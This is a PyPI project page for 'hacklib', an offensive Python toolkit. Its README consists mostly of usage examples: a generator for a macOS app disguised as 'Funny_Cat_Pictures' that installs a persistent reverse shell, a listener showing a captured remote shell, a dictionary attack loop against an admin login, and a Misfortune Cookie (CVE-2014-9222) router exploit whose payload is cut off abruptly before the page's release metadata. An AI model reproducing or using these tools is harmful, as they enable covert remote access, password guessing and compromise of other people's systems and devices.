hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.
Current Features:
Reverse shell backdooring
Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins
Port Scanning
Socks4/5 proxy scraping and tunneling
Generating a backdoor payload (Currently only for Macs):
import hacklib
bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
Shell listener (Use in conjunction with the backdoor):
import hacklib
# Create instance of Server with the listening port
>>> s = hacklib.Server(9090)
>>> s.listen()
New connection ('127.0.0.1', 51101)
bash: no job control in this shell
bash$ whoami
leon
bash$
# Sweet!
Simple Dictionary Attack example with hacklib.AuthClient:
import hacklib
ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)
for p in passwords:
htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
if 'welcome' in htmldata.lower():
print 'Password is', p
break
Discovery and Exploitation of the Misfortune Cookie Exploit (CVE-2014-9222) with hacklib.PortScanner():
>>> import hacklib
# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.
# Exploitation
>>> payload = '''GET /HTTP/1.1
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB
Metadata
Release files for hacklib 0.1.6
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| hacklib-0.1.6.3.tar.gz | 12.5 kB | Without provenance | Details for hacklib-0.1.6.3.tar.gz |
Release files / hacklib-0.1.6.3.tar.gz
| Download URL | hacklib-0.1.6.3.tar.gz |
|---|---|
| Size | 12.5 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
66e0b85f7360e6dfa1abc8c057ee3594304af4cd080e52f2fda426260f243034
|
|
BLAKE2b-256 checksum How to use checksums |
ad4327ca01728862804d360a267e9980e2001575b67b35f0433fea5389fe4f9d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
Security for hacklib 0.1.6
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.